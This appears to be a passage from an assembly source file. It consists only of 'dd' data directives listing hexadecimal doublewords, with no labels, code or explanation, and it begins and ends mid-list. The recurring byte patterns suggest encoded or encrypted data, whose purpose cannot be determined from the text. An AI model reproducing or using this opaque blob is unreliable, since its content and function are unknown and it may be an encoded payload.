6C1B841Ah, 6CA75F16h, 4662A232h, 0FFE682E3h, 12759111h dd 40FFE683h, 21D87EE7h, 30E052C1h, 0C80B759Dh, 19F66CA7h dd 68D1FA85h, 607CBCB9h, 0FFE682FDh, 2487A323h, 52FFE683h dd 0ACEA90F9h, 326CA7F5h, 0DCC24DA2h, 71C17F36h, 20ABF31Ch dd 0DDE99AE6h, 92FBB0A7h, 85374218h, 14BAF966h, 0BC167D5Dh dd 4FF5A967h, 6BA75A11h, 71C18433h, 34FE0731h, 73171F41h dd 0E710A407h, 0D379D2FFh, 0B8E9E01Ch, 0A7891404h, 1684336Bh dd 0AC67BC5Fh, 0AE3E67F2h, 0E6832F92h, 56FC55FFh, 863569A9h dd 0F51C71C1h, 0A4C03A9h, 2B19D36Bh, 0F3AB67BCh, 0BC580F4Dh dd 82FD607Ch, 0CA23FFE6h, 83BB1E3Ah, 90E9FFE6h, 0C9D53DEAh dd 0F092BC1Ah, 0CDBB33BEh, 67D6690Fh, 0EEE892BCh, 5201FE2Bh dd 0F755B4D8h, 0F69C6648h, 19D30DACh, 5292BC2Bh, 8C0C9555h dd 0C57CBA60h, 0E2AB67BCh, 4A6FC32Ch, 0A5359EE5h, 0E6DE2689h dd 4DF34CFFh, 9C2C72A0h, 7A613772h, 0F2986244h, 0E052C13Bh dd 9640509Fh, 0D35BBA57h, 6BA72B19h, 0C34EA333h, 0AD2750DBh dd 0EE323FEFh, 0E59C4269h, 7CBC5F16h, 0E682FD60h, 848E23FFh dd 0FD668F1Ah, 3569AA57h, 0A752C186h, 0BC84336Bh, 68B42592h dd 882EF0DAh, 51C886F5h, 0F54A19D3h, 26DD831Bh, 0F5A967BCh dd 0EE9B416Ah, 16CA7925h, 0C6BA75Fh, 0D94559B7h, 0FFE68376h dd 940A079Ch, 0E77E009h, 297E165Fh, 42DB8E6h, 6CA7A75Eh dd 838CEF0Bh, 61BAFFE6h, 52C149F8h, 0FD607CBCh, 0D4FFE682h dd 0E68355B8h, 0E1227BFFh, 0F36EE288h, 631971A7h, 0DEFA3A7Ah dd 0FFE6837Bh, 0F3AA50A9h, 0F4AA67BCh, 199A4069h, 6CA7715Fh dd 5F168332h, 67BC85F4h, 4FB2CEA9h, 75FFE683h, 0FF28B31Ch dd 8382E559h, 0BA42FFE6h, 2B19D35Bh, 6CA7F89Fh, 52C18332h dd 0A0BC0E85h, 0FFE6833Dh, 9307EA14h, 0AA42564Ah, 9940A05h dd 5CF13AE0h, 0A2E2D9B4h, 67CA1325h, 0E14A73FEh, 0A967BC32h dd 5A114FF5h, 67BC0E85h, 3F5FB5ADh, 97228BB4h, 5FC2DE6Eh dd 85FFE683h, 84F3862Ch, 7E16167Dh, 1FEE143Eh, 0B3825F31h dd 0E77AE447h, 13B912FFh, 0C10E855Ch, 607CBC52h, 0FFE682FDh dd 7724CA23h, 1D72029Ch, 0F51EA9F5h, 5F16984Fh, 82316DA7h dd 67BC52C1h, 0EB4BF1ADh, 0F56DA77Ch, 6C1B841Ah, 7CBC5F16h dd 0E682FD60h, 41B923FFh, 0F7D18461h, 6916BC25h, 4DB0CCABh dd 73FFE6F1h, 0C102B11Ah, 837DE052h, 7A35FFE6h, 600E103Ah dd 3BB5E926h, 0E288D434h, 2B19D32Bh, 147192BCh, 95A341B4h dd 0CCD242EFh, 297E161Dh, 0FF28B3EBh, 6DA7A259h, 52C18231h dd 0E6837DE0h, 11FF54FFh, 7A30E78Dh, 2B19D31Bh, 1AF56DA7h dd 166C1B84h, 32D855Fh, 8AA7CE64h, 8138DEABh, 614771C1h dd 0F46A4E0h, 0A73DF49Ah, 0C182316Dh, 0DBB0D252h, 0D9534BC8h dd 3C58542Bh, 0FFE74DD9h, 7E45AE07h, 41A0BC07h, 5FFFE683h dd 0EE217606h, 56FC25B0h, 0BC5F169Fh, 4AF0AE67h, 7827779Dh dd 92BC5F16h, 23BEE0h, 0A8C4545Bh, 0FFE75445h, 0B76C126Bh dd 326CA710h, 0E052C183h, 8DB25B9Eh, 0D31B7A56h, 1CF54A19h dd 8392F782h, 50DB21Bh, 0A73CF399h, 1683326Ch, 3569A75Fh dd 0DBC350A5h, 52C17E35h, 0F4AA67BCh, 2C72A14Eh, 1C71C17Dh dd 4900A6F8h, 7CBC5BBAh, 0E682FD60h, 24CA23FFh, 0A7FBE9A3h dd 50A53569h, 7D34DAC4h, 6CA75F16h, 5F168332h, 6C46Dh dd 85F40600h, 0E6837DE0h, 6CA735FFh, 0F7821CF6h, 75DA65CEh dd 0E779049Ah, 9E4B04BEh, 0E0CAE1DCh, 0C423B51Eh, 0BC2B19D3h dd 99595692h, 6D12F3BEh, 0A156FCA2h, 0F969A7FAh, 6F9C721Bh dd 0C59071DFh, 0C144F35Ch, 99F41C71h, 0F0A49561h, 35DB4477h dd 0BC0E857Eh, 0E6833DA0h, 5B0A63FFh, 85F45F16h, 863569A7h dd 69A75F16h, 52C18635h, 0E6837DE0h, 1B7A35FFh, 0A72B19D3h dd 77C22469h, 0BD2B6905h, 7E16A554h, 11B6E829h, 0E60F9A04h dd 69A78940h, 0A17BA535h, 0D345E4B7h, 4A6F1F99h, 7BB127B2h dd 52C11ED5h, 0E6837DE0h, 5BBA35FFh, 0A72B19D3h, 16863569h dd 9962E05Fh, 0A712FFE6h, 0C1863569h, 0A7F71C71h, 2D854A01h dd 0BD633BD8h, 3DA0BC06h, 63FFE683h, 7E165B0Ah, 29B4EA29h dd 0D2A35A00h, 0DCF373B0h, 0F26930FCh, 203C7CBCh, 0FFE683BDh dd 0DEFA8AE3h, 0FFE6837Bh, 36AA50A9h, 0FFE683D3h, 0C1F9A801h dd 3569A752h, 0A75F1686h, 878E336Bh, 0BCD95017h, 0E6833DA0h dd 5B0A63FFh, 0E855F16h, 0F89F52C1h, 863569A7h, 68A752C1h dd 0BB82AB36h, 0E492BC44h, 0BA0E2782h, 824BC62h, 0FFE6B3A5h dd 0BCC372CBh, 67F2AC67h, 27900E02h, 0A78C4381h, 0C1873668h dd 3569A752h, 0AA67BC86h, 0FD1969F4h, 0FFE6839Ah, 60066FC8h dd 7CBC5ECDh, 0E682FD60h, 24CA23FFh, 3D8DFFB0h, 67BC776Ch dd 4559B6ACh, 9D2891BAh, 5BC4DA38h, 960808B5h, 0AC67BCE7h dd 983E67F2h, 69A7A35Ah, 71C18635h, 1AA5F91Ch, 0E0944BF1h dd 6C3D8E2Bh, 2363B3CBh, 0E683A407h, 0D379D2FFh, 2B19D31Ch dd 0F5A967BCh, 306EA24Fh, 0A75F1681h, 0C1863569h, 3668A752h dd 0A75F1687h, 16863569h, 0B6E8297Eh, 0F79D0111h, 0AB67BC40h dd 0DC4559B7h, 0E822851h dd 0FFE6A799h, 326CA7D5h, 0E34662A2h, 11FFE682h, 0C15B12B8h dd 0A9F51C71h, 984FF51Eh, 0A0BC0E85h, 0FFE6833Dh, 257A0A63h dd 99859DF0h, 5B2507C8h, 983E67F2h, 0AA67BCE1h, 9A4069F4h dd 6EA7A55Ch, 0E876A030h, 0E8F72B4Eh, 0C1EEA54Bh, 72073171h dd 51B2B5DCh, 4B379A06h, 45DFFE7h, 0A7E0A75Eh, 6E73CDBDh dd 0EAC5D244h, 0C0E9742Ah, 0D6B38246h, 6EA77930h, 5F168130h dd 81306EA7h, 167D52C1h, 44547E16h, 0F2557145h, 20FFE73Dh dd 0CDBC4DC7h, 0A7B36A10h, 0C181306Eh, 0CB92BC52h, 79DCF86Eh dd 0A7FFE768h, 0C985D44Eh, 0FE5A33D9h, 524CC81Dh, 6AA7F5ACh dd 0F6811DF8h, 74D964CDh, 2375009Eh, 6D9840FAh, 2B19D3BEh dd 81306EA7h, 6CA75F16h, 4662A232h, 0FFE682E3h, 5B12B811h dd 0F71C71C1h, 4DF31CA7h, 5026E096h, 0A7CE0292h, 1683326Ch dd 78EA297Eh, 0F298019Dh, 0F46EA73Bh, 0DD405C1Bh, 3FFE683h dd 8DB641AAh, 52C17524h, 83326CA7h, 153171C1h, 0FFE683B2h dd 2AE187E0h, 0A6316DA7h, 525C0F6Ch, 0CE733D1Fh, 0B3CF5A44h dd 0DDF9C882h, 0FFE7367Ah, 54E64FA8h, 4A19D3F5h, 0D97F1FF5h dd 306EA722h, 607CBC81h, 0FFE682FDh, 0E624CA23h, 8717F94Eh dd 67BC2AE1h, 435BB8AAh, 8C8734DAh, 2CD9E901h, 0B41DCEC9h dd 3E7E1605h, 0E683BF22h, 0E68CE5FFh, 306EA72Fh, 0D4CA4BA0h dd 71C1772Eh, 83B21531h, 87E0FFE6h, 7CBC2AE1h, 49B5E927h dd 0FFE682E6h, 600DB30Ch, 0FF63AFB3h, 0D5FE8915h, 4FB8E16Ch dd 297E16A0h, 0FE27B2ECh, 6EA7A158h, 5F168130h, 0A0BC0E85h dd 0FFE68341h, 0C157065Fh, 326CA752h, 7A52C183h, 2B19D31Bh dd 7CBC0E85h, 0E682FD60h, 24CA23FFh, 8311708Ch, 0C52FFFE6h dd 16F9BEB6h, 52016A0Fh, 203C7CBCh, 0FFE683BDh, 70E48AE3h dd 0FFE6830Dh, 28769E33h, 7B0B749Dh, 24AFEF26h, 169E55FBh dd 0F66CA75Fh, 0CBF47F1Fh, 7E16B362h, 0DB2EC29h, 3FF69C02h dd 0A9346AA7h, 83DA3D59h, 0AF08FFE6h, 0E7277F46h, 0E68368CBh dd 8F358EFFh, 3DA0BCD8h, 14FFE683h, 0C04B53BFh, 0FB23B886h dd 0C932F0DEh, 0F181DA23h, 0EA3295B1h, 760FFE6h, 71C1AA61h dd 5ABF31Ch, 0AA67BC4Eh, 9B4069F4h, 719A2579h, 0ADF11ECBh dd 7A52C1FEh, 4A19D31Bh, 0DE841AF5h, 0BC0E8527h, 0E6833DA0h dd 5B0A63FFh, 833DA0BCh, 0A63FFE6h, 0BB1E3A7Ah, 85FFE683h dd 74CD0E90h, 5F1617CEh, 7CBC0E85h, 0DB3EB27h, 0E6833699h dd 54035CFFh, 86E052C1h, 2E0EBDCFh, 67BC5BBAh, 0CA4BF1ADh dd 0E852210h, 833DA0BCh, 0A63FFE6h, 0BB1E3A7Ah, 9AFFE683h dd 0E6831B7Eh, 0AFF049FFh, 3D61B156h, 2CE389B2h, 833DA0BCh dd 0A63FFE6h, 69103A7Ah, 0EE12AC3Ah, 0E797FA66h, 28BDFFE6h dd 0A64CB5E9h, 0BC5F16EFh, 0AA8A6792h, 0FA167BE9h, 0FFE77597h dd 55FB64BDh, 883767A8h, 0E855F16h, 0FD607CBCh, 23FFE682h dd 0B21B838Eh, 0FF29790Ch, 0B50A95C7h, 0AC63096Bh, 52C10E85h dd 863569A7h, 42547E16h, 0D8E855Fh, 0F4853CE2h, 0D9C54FA4h dd 0C87F254Eh, 0E6837DE0h, 6CA735FFh, 0CD42A732h, 0B7207E95h dd 0E09AD32Ch, 0FC266638h, 2BC2107Fh, 22D97F8Bh, 9F2B19D3h dd 0E085F4F8h, 0FFE6837Dh, 0BC5BBA35h, 82FD607Ch, 55BFFFE6h dd 9AF0849h, 9FE0CE88h, 336BA7F8h, 8552C184h, 3DA0BC0Eh dd 63FFE683h, 0D25D41CEh, 0BC9140A9h, 82FD607Ch, 0CA23FFE6h dd 0F94EE624h, 2BE28816h, 0E8585F4h, 1E7392BCh, 17A5C3B6h dd 0A76FDE71h, 63A3336Bh, 0E682E447h, 13B912FFh, 0F45F165Ch dd 607CBC85h, 0FFE682FDh, 19858E23h, 33960AB0h, 0F3FFE683h dd 19D31B7Ah, 7F1FF54Ah, 67BC22D9h, 3D66F1ADh, 0A73BE297h dd 4919F76Bh, 2049D4CAh, 73032CB7h, 0E682F457h, 60C922FFh dd 4771C1B1h, 77EDD0AAh, 6E25CBCFh, 0E6837DE0h, 3A7A35FFh dd 837BDEFAh, 50A9FFE6h, 19D3F3AAh, 7E20F54Ah, 6BA721D8h dd 5F168433h, 0A3336BA7h, 697E2679h, 0B949DEF5h, 0E6D83A9Dh dd 690F68FFh, 0E052C1B2h, 0FFE6837Dh, 0E53A7A35h, 5EE3612Ch dd 4ADEF626h, 0BC843BE1h, 66E22392h, 0D83AEB22h, 36B75DC6h dd 6BA78E7Ch, 0C44EA333h, 167D34DAh, 32D855Fh, 34F184AEh dd 2BE2883Bh, 6BA752C1h, 838DF00Ch, 5AB3FFE6h, 71C142F1h dd 83B21531h, 87E0FFE6h, 0E852AE1h, 8341A0BCh, 65FFFE6h dd 0A967BC57h, 9B416AF5h, 6BA7A65Dh, 5F168433h, 8F5C92BCh dd 880A6D89h, 0DF38FFE6h, 82972E65h, 5F9F27DCh, 0E690E043h dd 7AD06FFh, 9BC9E050h, 0BC69FFE6h, 82FD607Ch, 0CA23FFE6h dd 0BB1ED25h, 3DECB25Eh, 0A0BC52C1h, 0FFE6833Dh, 4B8C12FFh dd 0BCB42BF2h, 0E6833DA0h, 44CE63FFh, 20ABF31Eh, 9E038EF7h dd 55BE2777h, 0F35F16A6h, 0E53ACA96h, 0BEE7722Ch, 0A0BC6118h dd 7E0AD0Eh, 168C3B94h, 0B5E9297Eh, 9A3A573Bh, 1FC5BA71h dd 0F86AA768h, 0D3FC8717h, 0D7B0DA6Ah, 0BB4A1A88h, 0C141F89Eh dd 0C8114771h, 0F4B9A054h, 85F4974Eh, 35236AA7h, 0BB85780Ch dd 0B43396B2h, 861FFE6h, 51A6369Fh, 2750DBC3h, 5F16CA81h dd 863569A7h, 32E052C1h, 0E15A6CDAh, 8C17878Ch, 0A706BD63h dd 65A53569h, 0D5CC923Bh, 0B92556D1h, 0FFE75056h, 0C67D237Ch dd 0D5547E16h, 89A21839h, 0A79950F6h, 0C1863569h, 23237B52h dd 7CBC2AC9h, 0E682FD60h, 828E23FFh, 0FF68911Ch, 301ED859h dd 0F5A967BCh, 0EE9B416Ah, 16CD7C22h, 3569A75Fh, 0E052C186h dd 0FFE6837Ah, 0D321D83Ah, 69A72B19h, 7E168635h, 2B30E854h dd 660CC8B8h, 3569A7AFh, 1C71C186h, 0F3AB6AF8h, 0E02DE48Ah dd 0FFE6837Ah, 0D321D83Ah, 69A72B19h, 5F168635h, 0A4346AA7h dd 8AE6477Ah, 8B853D6Dh, 0F65F8813h, 67BC9950h, 4757B9A9h dd 842A93BCh, 0C34CA1F1h, 0E07E35DBh, 5D6A1DEh, 346AA796h dd 0A75F1685h, 0C185346Ah, 837AE052h, 0D83AFFE6h, 2B19D321h dd 85346AA7h, 6AA75F16h, 52C18534h, 0A724247Bh, 46AB3668h dd 0C0BBC4C9h, 50BAFCFEh, 1CF75CE7h, 0DC7F082h, 0D343E265h dd 6AA72B19h, 838EF10Dh, 5BB4FFE6h, 5F1643F2h, 17F86AA7h dd 0C16F1E87h, 0A5F91C71h, 0FF8A1400h, 0BC7930D6h, 82FD607Ch dd 54BFFFE6h, 0AB0094Ah, 0E6833096h, 55BA0FFFh, 0EF95BE49h dd 316DA738h, 0CAD441A6h, 38F2233Fh, 0D3651C90h, 6AA72B19h dd 7E168534h, 12B8E629h, 0FA68A75Bh, 9237716h, 0A5FB5166h dd 0C124D33Ch, 90FDE052h, 94D40847h, 90D53854h, 0A2FB0847h dd 4790D336h, 1442C808h, 0DE628A85h, 4993339Dh, 7E752AD6h dd 0A7B86F15h, 51A63668h, 2750DBC3h, 5F16CA81h, 0A63668A7h dd 71A4BE51h, 0F11FC42Dh, 0C15007ADh, 0A967BC52h, 0F6DB4FF5h dd 0B2049DDAh, 19D351C8h, 831BF54Ah, 8374D7F3h, 49A2FFE6h dd 68A7ECA3h, 7CBC8736h, 8AFA4752h, 0AD19F7C5h, 0FFE6F14Ah dd 9B7A1F78h, 0A94F7803h, 68A7B46Bh, 425E19FAh, 0FFE683DFh dd 0B843AC05h, 0BC77268Fh, 50F6A867h, 167D4EBDh, 0F0AE67BCh dd 0A7550C4Ah, 66A63668h, 0E682E74Ah, 0EB40DFFh, 0E052C157h dd 4413F517h, 0E63B39Fh, 3BF29806h, 0B9A967BCh, 4ED9425Ch dd 44FE7F25h, 3668A756h, 0A75F1687h, 0C1873668h, 0D36B0A52h dd 92BC2B19h, 35542C11h, 0DE0F89F7h, 15632159h, 1CD311B7h dd 15FA68A7h, 82E34662h, 0B811FFE6h, 3668AA4Fh, 52C11ECDh dd 778A99E0h, 1B7A59CDh, 0BC2B19D3h, 60B4AE67h, 218AB33Eh dd 5D41CE7Bh, 3E7E16AEh dd 0E683BF22h, 0E68CE5FFh, 0F86AA72Fh, 0D1FA8519h, 71C1B968h dd 3631F347h, 0BE640010h, 3668A707h, 1C71C187h, 0F31CA7F7h dd 89F0964Dh, 0BC2B19D3h, 82FD607Ch, 0CA23FFE6h, 49A7724h dd 0A8F61F74h, 28D1103h, 167C33D9h, 4192BC5Fh, 0E2BC599Ch dd 94B42E57h, 9542E818h, 6416137Ah, 7B6C4E59h, 0E764FC5Fh dd 68D12AFFh, 5F1650FFh, 85346AA7h, 0FD607CBCh, 23FFE682h dd 229124CAh, 0B15F36E0h, 5BBABE34h, 0A72B19D3h, 8EF10D6Ah dd 0B4FFE683h, 1643F25Bh, 3569A75Fh, 0A752C186h, 0BC85346Ah dd 82FD607Ch, 0CA23FFE6h, 0A7229124h, 8717F86Ah, 0DF6AD3FCh dd 0C4E0977Ah, 0FFE68361h, 42CD368Fh, 4EF6B0E9h, 19D31D7Ch dd 3569A72Bh, 0AA67BC86h, 78104EF4h, 83B91C38h, 52E7FFE6h dd 2750DBC3h, 0A76118BEh, 1685346Ah, 346AA75Fh, 5D8A7AA4h dd 617B2CDh, 52C1A960h, 863569A7h, 1B7A52C1h, 0FD607CBCh dd 23FFE682h, 0E9A324CAh, 346AA7FBh, 0E54864A4h, 0BFFE682h dd 16550CB2h, 3569A75Fh, 0A867BC86h, 9D426BF6h, 45832975h dd 346AA78Eh, 0E052C185h, 0FFE6837Dh, 0BC5BBA35h, 55811292h dd 872DC0D9h, 0BC5E4C06h, 82FD607Ch, 0A323FFE6h, 0E6832487h dd 90F952FFh, 0CAD43DEAh, 855F161Bh, 0A752C10Eh, 0C185346Ah dd 0BC0E8552h, 89114692h, 0B85D2809h, 93BC4757h, 0DA3955EDh dd 8FFE721h, 0C3DF1FAFh, 0FFE72160h, 7E20F186h, 16B86F15h dd 0B5E9297Eh, 6AA7580Fh, 92BC8534h, 852BBEE8h, 0F533D9C7h dd 0F46EA73Eh, 0CDF6811Dh, 0F0459D64h, 89EE7925h, 8AD1688h dd 35EC920Ch, 0F91C71C1h, 8C1200A5h, 7B32D801h, 69A7F89Fh dd 838FF20Eh, 20B5FFE6h, 0FB24AFEFh, 44992992h, 0C46D1CDh dd 0F35EDD1Bh, 38DE47A2h, 1C71C181h, 1104A9F5h, 33D9028Dh dd 0D82D857Ch, 0B1DA6539h, 0A0BC540Bh, 0FFE6833Dh, 8004EA14h dd 3BEDE747h, 5BB74C95h, 268FB843h, 3E7E1677h, 837FE2FEh dd 4CA5FFE6h, 0E6837DE0h, 0B339A3FFh, 0DC1CF6CBh, 0AA610770h dd 3AD82D85h, 4B53BF64h, 3AF197C0h, 0E8552C1h, 0F0AE67BCh dd 3963C65h, 316DA794h, 547E1682h, 487F544h, 0FBB25849h dd 7DE085F4h, 35FFE683h, 16103A7Ah, 3C965984h, 0D38D44EAh dd 0F89F2B19h, 82316DA7h, 92BC52C1h, 0A5CF7B8Ch, 0F353F965h dd 316DA784h, 90C61A1h, 75E10A95h, 0FFE68312h, 266DE740h dd 56F569F2h, 0BCECA349h, 50F6A867h, 6DA75B12h, 0D34220F5h dd 0AE1740CBh, 0E291FA23h, 7DE052C1h, 35FFE683h, 19D31B7Ah dd 206DA72Bh, 0BDD9C9ACh, 0FFE6C35Ah, 3BB52F88h, 77268F98h dd 223E7E16h, 0FFE683BFh, 0E64965E5h, 0CFFE682h, 0EDA44AB3h dd 0A1316DA7h, 375DF477h, 138D6539h, 0E3DEA89Bh, 0DA913788h dd 0D4CD92BCh, 0B87DE10h, 0E7818CEFh, 0F861BAFFh, 0E050BF52h dd 0FFE6837Dh, 0D31B7A35h, 6DA72B19h, 5F168231h, 0FD607CBCh dd 0D4FFE682h, 0E68355B8h, 0E1227BFFh, 0DF35E288h, 52C110BFh dd 4A032D85h, 0D4D58DC8h, 0BCCC8329h, 0E6833DA0h, 0B3EA14FFh dd 0CD21F6B2h, 0F186CF75h, 0CDD13E24h, 47B0D964h, 0ECB262B7h dd 4AD5C947h, 0BCC47B21h, 6AF5A967h, 309C030h, 7AE33C8Fh dd 9CF141D4h, 759E2975h, 7CBC18CFh, 0E682FD60h, 24CA23FFh dd 3F09D77h, 0E4D246A5h, 8F6A3B15h, 7B952715h, 7E166312h dd 7FE2FE3Eh, 0A5FFE683h, 837DE04Ch, 4AA3FFE6h, 0E85EDA4h dd 0F4AA67BCh, 379AB64Eh, 5DFFE683h, 0EB544AC8h, 855F163Ch dd 9F52C10Eh, 0CA96F3F8h, 732BE53Ah, 8364C7E3h, 3992FFE6h dd 0A0BCDC93h, 7E09FE2h, 0C217A700h, 0AA0D294Eh, 0D807E09Fh dd 628B167Fh, 52C105BCh, 38D82D85h, 0C109C066h, 0C10E8552h dd 3569A752h, 0E64965A5h, 0CFFE682h, 16560DB3h, 4FA4F45Fh dd 2A749DC5h, 670D769Fh, 0AB67BCB0h, 993F68F3h, 0E683C225h dd 69A782FFh, 0CF45AA35h, 89B244CFh, 0F65527CFh, 0BAA867BCh dd 51DC4559h, 47018228h, 0A7F89F59h, 821CF56Dh, 52C16A19h dd 0EB7AA4F4h, 18BC2E95h, 0A7B36A10h, 1682316Dh, 316DA75Fh dd 0E052C182h, 0FFE6837Dh, 0D31B7A35h, 6DA72B19h, 67BC8231h dd 0E4CF2ACh, 346AA757h, 0E052C185h, 66018F15h, 0F4AA67BCh dd 6AA7974Eh, 0A1555E23h, 0EB54FF00h, 0A75F163Ch, 4FA4346Ah dd 2851DCC2h, 71C1CB82h, 0A26EF41Ch, 36ED93FCh, 40217Bh dd 0E68381E4h, 0B056AFFFh, 0D37221F9h, 6AA72B19h, 92BC8534h dd 0D34C0C09h, 43812722h, 0AC67BC8Ch, 729F4CF2h, 52C17D2Ch dd 0ED277CBCh, 82E245B1h, 0B710FFE6h, 0DCDC3811h, 19D32AC9h dd 346AA72Bh, 0BC5F1685h, 0B1ED277Ch, 2E91FD26h, 0F0FFE683h dd 0C6EF7A24h, 809C2C85h, 0FFE6831Dh, 9744EA43h, 0C175247Ah dd 23237B52h, 0A7326CA7h, 45D0CE42h, 2206C001h, 1A45AEF0h dd 2B19D36Bh, 85346AA7h, 0F2AC67BCh, 36760E4Ch, 0E683B71Ah dd 0FF73DDFFh, 601542F8h, 0A35A0069h, 9A3792BCh, 7689227Ah dd 74EE23D0h, 514DC49Eh, 0CB349DC6h, 3171C11Ch, 0C7DA8407h dd 0AF1B01C7h, 0FFE6FB4Ch, 7591217Ah, 0FFE6FB12h, 8A41E740h dd 0F4AA67BCh, 0C39A4069h, 0A75F165Ch, 0C183326Ch, 75EFE052h dd 0A787FFB3h, 1683326Ch, 607CBC5Fh, 0FFE682FDh, 7724CA23h dd 0C155049Ah, 394E4771h, 6C061891h, 6CA70FC6h, 52C18332h dd 0F0257ABAh, 54FA23AEh, 1592BC9Dh, 0E5A35894h, 16D051F7h dd 607CBC28h, 0FFE682FDh, 5B6818EAh, 2667DA13h, 977A27CDh dd 5F165807h, 0A2326CA7h, 82E34662h, 0B811FFE6h, 5F165B12h dd 82316DA7h, 0CCAB67BCh, 0E6834DB0h, 0B11A73FFh, 0A709780Bh dd 0C185346Ah, 336BA752h, 0CFCF43A8h, 3DF72844h, 0D364C395h dd 50204A19h, 0F3AB6886h, 40C53F68h, 37EE94CDh, 82316DA7h dd 6AA75F16h, 67BC8534h, 0D4BF1ADh, 0C10E8556h, 0A6DA752h dd 0E6838BEEh, 0F760B9FFh, 8552C148h, 41A0BC0Eh, 10FFE683h dd 0A04559BBh, 3D862C72h, 0E6C1A3D3h, 0C932AFDEh, 0A75F161Ah dd 1682316Dh, 0BCF89F5Fh, 4CF2AC67h, 95940BD8h, 2D85AB48h dd 5E503DD8h, 68D4A13Bh, 6219BF28h, 0FD607CBCh, 0BFFFE682h dd 9AC34E50h, 0C75A0059h, 0D1FA4D77h, 0D14F7D3Dh, 2D85742Bh dd 0BB613DD8h, 0BC52C104h, 61F1AD67h, 0E682E245h, 11B710FFh dd 5EEEB064h, 0C970709h, 0A7326CA7h, 0B86F157Eh, 85F45F16h dd 0E6837DE0h, 68A735FFh, 0CD46AB36h, 794736C0h, 8BF4ABA0h dd 8B456E00h, 0D3B211E3h, 1DF54A19h, 9F24DB81h, 0AB6ED17h dd 0FEAEAAF9h, 7CBCA158h, 0E682FD60h, 25CA23FFh, 0FD26B1EDh dd 3866AA57h, 0F452C189h, 3569A785h, 9EC450A5h, 759E2975h dd 16AF660Ch, 216CA75Fh, 0A4473D04h, 0E08FF8AFh, 54771C1h dd 4C6B4810h, 0E06219BFh, 0FFE6837Dh, 326CA735h, 0E01F78A2h dd 107EBC62h, 5F16B36Ah, 863569A7h, 6CA752C1h, 838CEF0Bh dd 61BAFFE6h, 8352B5D1h, 2780FFE6h, 52C10FBEh, 67BC1B7Ah dd 416AF5A9h, 72601A9Bh, 863569A7h, 0FD607CBCh, 23FFE682h dd 2FE624CAh, 1DF66CA7h, 64CDF681h, 297E16B5h, 59979E9h dd 0A73FF69Ch, 0C1863569h, 837DE052h, 2A54FFE6h, 3DAE936Bh dd 34EB911Bh, 0A8336BA7h, 41CCD243h, 0C0A27318h, 98C14C52h dd 124BA42Fh, 86749F58h, 853731B7h, 0D3EB4A1Ch, 50204A19h dd 278F939Eh, 0A7863DE3h, 16863569h, 0B3EB297Eh, 0E85560Dh dd 0F91C71C1h, 0A748FFA5h, 0C1863569h, 0BC0E8552h, 0E68341A0h dd 57065FFFh, 69A75F16h dd 7E168635h, 28B3EB29h, 8359BCD8h, 2E87FFE6h, 85681FC5h dd 9F52C10Eh, 607CBCF8h, 0FFE682FDh, 0C324CA23h, 0C90999C7h dd 0E6834AADh, 0A51F78FFh, 0DCE99AA6h, 0D38A3092h, 6DA752C1h dd 0F8831BF5h, 0BCB766CFh, 65F0AE67h, 9403963Ch, 19D330E7h dd 7492BC2Bh, 3525B7BBh, 0CB03D379h, 6938753Ah, 0AD2h dd 0F46EA7FAh, 0CEF7821Ch, 52C1B665h, 6EA785F4h, 7E168130h dd 11B7E729h, 326CA75Ah, 9BC74DA2h, 17BD2678h, 8F92BC60h dd 0F054D2F2h, 710C1D97h, 0F6AEA2F7h, 436DBD50h, 11B3B470h dd 8BF6599h, 0CFCFEE0h, 7995D53Fh, 3F0CFC16h, 863DE33Ch dd 0A2326CA7h, 50DBC34Dh, 0BCCA8127h, 73D33092h, 0C656DD02h dd 0E6D647AAh, 6E146DFFh, 6CA77930h, 52C18332h, 0C009F8E0h dd 0CB4A9FC0h, 0A7762DD3h, 831BF66Ch, 0EA2A8F1Ah, 98060FB4h dd 98527B0Dh, 0D3BF1EF0h, 6CA72B19h, 5F168332h, 0A0306EA7h dd 31D7C74Bh, 0AD67BC7Ah, 68B84BF1h, 0FAA0FE13h, 326CA743h dd 0AA67BC83h, 0B04069F4h, 0E6833194h, 60065FFFh, 1B7A5ECDh dd 0CAAD67BCh, 0E6834BAEh, 0B72079FFh, 0E8D69011h, 81306EA7h dd 18547E16h, 0EA365B01h, 0A72DE48Ah, 1683326Ch, 27E93E7Eh dd 83A80B77h, 75CEFFE6h, 6AA718CFh, 0C64FA434h, 7E244DD8h dd 0E052C1C7h, 0FFE6837Dh, 346AA735h, 0C2EC7AA4h, 4F97372Fh dd 2750DBC3h, 166118BEh, 0B6E8297Eh, 544AC62Bh, 0A78E45EBh dd 0C181306Eh, 346AA752h, 0A752C185h, 28FA1F6Eh, 0F66CA23Dh dd 759D028Dh, 0E908429h, 37F12A83h, 0D39EFD8Fh, 6EA72B19h dd 5F168130h, 85346AA7h, 0FD607CBCh, 23FFE682h, 2FE624CAh dd 81306EA7h, 0E8552C1h, 0F1AD67BCh, 0FF973D66h, 0E68380E3h dd 0FB1757FFh, 0FFE68398h, 76BF65BEh, 52C16E1Dh, 19D344B3h dd 0AC67BC2Bh, 769F4CF2h, 0ED7826ECh, 16AC5BC4h, 316DA75Fh dd 3FB67DA6h, 7CBC52C1h, 0E682FD60h, 0AD62EAFFh, 0A63052A5h dd 0B9660C65h, 3AD315Ch, 0C22C6EF0h, 71C1AA59h, 0B6640731h dd 9C9F48A7h, 0E698CD30h, 0F49AF3FFh, 0A6DA73Dh, 0E6838BEEh dd 0F760B9FFh, 9D001C6Ch, 0C3FFE683h, 4F4FC56Ah, 8F4972C4h dd 0D3DF4EE7h, 0E852B19h, 0A67B92BCh, 2051CCBEh, 640A947Bh dd 4B4DB0CCh, 0CF24FFE7h, 6BB45A44h, 4B6CCFEBh, 59AFFE7h dd 0BF28910Dh, 0A75F1610h, 811DF46Eh, 0B564CDF6h, 0E8552C1h dd 833DA0BCh, 0EA14FFE6h, 78B8B475h, 203CCCECh, 0FFE6E5BDh dd 9BE48AE3h, 52C19342h, 67BC44B3h, 0CF50F6A8h, 23F14615h dd 21C7F07Bh, 6A92BC6Ah, 69F3AD49h, 21F4A147h, 5F16CE7Dh dd 52C10E85h, 69A7F89Fh, 52C18635h, 92BC0E85h, 9F4B2B08h dd 0B54DF3F9h, 0E6F33699h, 5AB80DFFh, 0EB90B944h, 0C6EF7A24h dd 0CF7ED720h, 0E855F16h, 6EA752C1h, 147D21F4h, 0BDE12F84h dd 67BC6017h, 1250F6A8h, 346AA75Bh, 0F452C185h, 346AA785h dd 0BC5F1685h, 50F6A867h, 81306EA3h, 0F4AA67BCh, 79A4069h dd 0A967BC98h, 78DB4FF5h, 30FFE683h, 